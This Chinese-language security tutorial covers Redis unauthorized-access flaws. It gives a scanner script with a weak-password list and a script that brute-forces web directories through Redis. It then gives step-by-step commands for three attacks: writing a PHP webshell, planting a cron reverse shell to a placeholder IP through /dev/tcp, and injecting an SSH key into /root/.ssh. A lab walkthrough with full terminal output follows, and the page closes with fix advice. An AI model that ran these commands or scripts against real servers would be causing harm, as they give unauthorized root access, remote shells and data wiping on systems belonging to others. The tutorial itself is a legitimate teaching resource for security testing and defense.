Redis简介
redis是完全免费开源,一个灵活的高性能key-value数据结构存储,可以用来作为数据库、缓存和消息队列。
Redis应用场景
主要有两个应用场景:
- 存储、缓存需要的场景
- 需要高度读/写的场景使用redis快速读/写
Redis结构
redis主要由两个程序组成:
- redis客户端:redis-cli
- redis服务器:redis-server
客户端和服务器可以位于同一台或两台不同的计算机中。
Redis未授权访问漏洞
- 通过redis数据备份功能结合web服务,往web网站根目录写入一句话木马,从而得到web网站权限
- 通过redis数据备份功能写定时任务,通过定时任务反弹shell
- 通过redis数据备份功能写入ssh公钥,实现免密登录linux服务器
漏洞影响版本、
- redis 2.x、 3.x、4.x、5.x
- redis 4.0.10版本中配置文件默认启用了保护
漏洞原理
redis在默认情况下,会绑定0.0.0.0:6379,如果没有采取安全策略,会导致redis服务暴露在公网上,在没有设置密码认证或弱密码的情况下,会导致任意用户在访问目标服务器未授权访问redis。
攻击者在未授权访问redis的情况下,利用redis自身提供的config命令,可以进行写文件操作,攻击者可以将自己的ssh公钥写入目标服务器的/root/.ssh
文件夹中authotrized_keys
文件中,进而可以只用对应的私钥直接使用ssh服务登录目标服务器。
漏洞利用条件
- redis绑定在0.0.0.0:6379,并且没有安全策略,直接暴露在公网
- 没有设置密码,可以免密码远程登录redis服务
漏洞危害
- 攻击者无需认证访问到内部数据,会导致敏感信息泄露,非法访问者也可以执行
fulshall
清空所有数据 - 攻击者可以通过
EVAL
执行lua
代码,或通过数据备份功能往磁盘写入后门程序 - 如果redis以root身份运行,攻击者可以给root账号写入ssh公钥文件,直接通过ssh登录受害服务器
探测脚本
测试是否存在redis未授权访问漏洞的python脚本
#! /usr/bin/env python
# -*- encoding: utf-8 -*-
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
web目录探测
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# 脚本说明
# 此脚本用于测试 Rdies 未授权访问时,在没权限写ssh私钥和定时任务又不知道web绝对路径的情况下,进行WEB目录探测
import redis
r = redis.Redis(host='127.0.0.1', port=6379)
# r = redis.Redis(host='127.0.0.1', port=6379, password=123) #带密码认证
pathlist = []
rootPath = "/web/releases/" #开始爆破的根目录
try:
for dirs in open("E:\\dirs.txt",'r',encoding='UTF-8'): #这里是自己的字典,注意字符编码,关键还是字典
# dirs = dirs.decode()
dirslist = dirs.strip("\n")
path = "%s%s" % (rootPath,str(dirslist))
try:
checkDir = r.config_set("dir",path)
info = "当前路径: " + str(path) + "\t" + "存在!"
pathlist.append(info)
print(info)
except Exception as e:
if len(str(e)) == 45:
print("当前路径: " + path + "\t" + " 不存在!")
elif len(str(e)) == 37:
info = "当前路径: " + path + "\t" + "没权限!"
pathlist.append(str(info))
print(info)
else :
info = "当前路径: " + path + "\t" + str(e)
pathlist.append(str(info))
print(info)
except Exception as e:
print("如果编码错误请检查字典中是否有乱码,错误信息:" + str(e))
print("===================== 探测完成 =====================")
for path_success in pathlist:
print(path_success)
利用过程
1、写入webshell
前提条件:
- 需要知道web根目录绝对路径
- redis权限不是root,有web目录写权限
流程:
- 确认存在redis未授权访问漏洞,并获取web根目录
- 连接redis服务端:
redis-cli.exe -h [ip] -p [port]
- 进入根目录:
config set dir [根目录绝对路径]
- 创建脚本文件:
config set dbfilename
- 写入命令:
set webhell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
- 保存:
save
最后访问shell.php即可
2、在crontab里写入定时任务反弹shell
前提条件:
- centos:redis向任务计划文件写内容会出现乱码,centos会忽略代码
- 权限可写计划
流程:
- 监听端口:
nc -lvvp 8769
- 生成计划任务配置文件
config set dir /var/spool/cron
set x "\n\n*/l **** /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8769 0>&l\n\n"
config set dbfilename root
save # 保存
3、写入ssh公钥,获得root权限
前提条件:
- 开启了密钥认证的linux主机
- root权限
- 开启了ssh密钥登录,存在/etc/.ssh文件
流程:
- 生成密钥:
ssh-keygen -t rsa
- 保存公钥:
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
- 写入redis:
cat key.txt | redis-cli h [ip] -x set crack
- 生成authorized_key文件:
redis-cli h [ip]
config set dir /root/.ssh
config set dbfilename authorized_key
- 本地私钥连接:
ssh -i id_rsa root@[ip]
自动RCE脚本
修复建议
- 禁止外部访问redis服务端口
- 禁止使用root权限启动redis服务
- 配置安全组,限制可连接redis服务器的ip
红日靶场7写入ssh公钥示例
nmap扫描发现主机6379开启,且开启了redis服务,服务低于redis-4.0.10版本
使用redis-cli
进行连接:
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.1.81
192.168.1.81:6379>
写入ssh公钥实现ssh登录
首先,需要在攻击机上生成ssh公钥
┌──(root㉿kali)-[~]
└─# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:kUW55YSXCQcEYyziWQuQ5ycUuR3DG//ft4Qa/nzZQT4 root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o.+ .++*=.o |
| . * B..+o.* |
| = B Oo * |
| * = ... . . |
| o S. o |
| . .E |
| o o .=|
| . = ooo|
| o.o.o.|
+----[SHA256]-----+
将公钥写key.txt文件,前后用\n
换行,避免和redis其他缓存数据混合:
┌──(root㉿kali)-[~]
└─# cd /root/.ssh/
┌──(root㉿kali)-[~/.ssh]
└─# (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
┌──(root㉿kali)-[~/.ssh]
└─# ls
id_rsa id_rsa.pub key.txt
将key.txt文件内容写入redis缓存:
┌──(root㉿kali)-[~/.ssh]
└─# which redis-cli # 查找redis的绝对路径
/usr/bin/redis-cli
┌──(root㉿kali)-[~/.ssh]
└─# cat /root/.ssh/key.txt | /usr/bin/redis-cli -h 192.168.1.81 -x set pub
OK
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys:
┌──(root㉿kali)-[~]
└─# redis-cli 192.168.1.81 # 未使用ssh服务会报错
Could not connect to Redis at 127.0.0.1:6379: Connection refused
# 使用前面未关闭的连接进行操作
192.168.1.81:6379> config set dir /root/.ssh # 告诉Redis将其工作目录更改为/root/.ssh
OK
192.168.1.81:6379> config set dbfilename authorized_keys # 将其持久化存储的文件名更改为authorized_keys
OK
192.168.1.81:6379> save
OK
┌──(root㉿kali)-[~/.ssh]
└─# ssh 192.168.1.81
ssh服务连接成功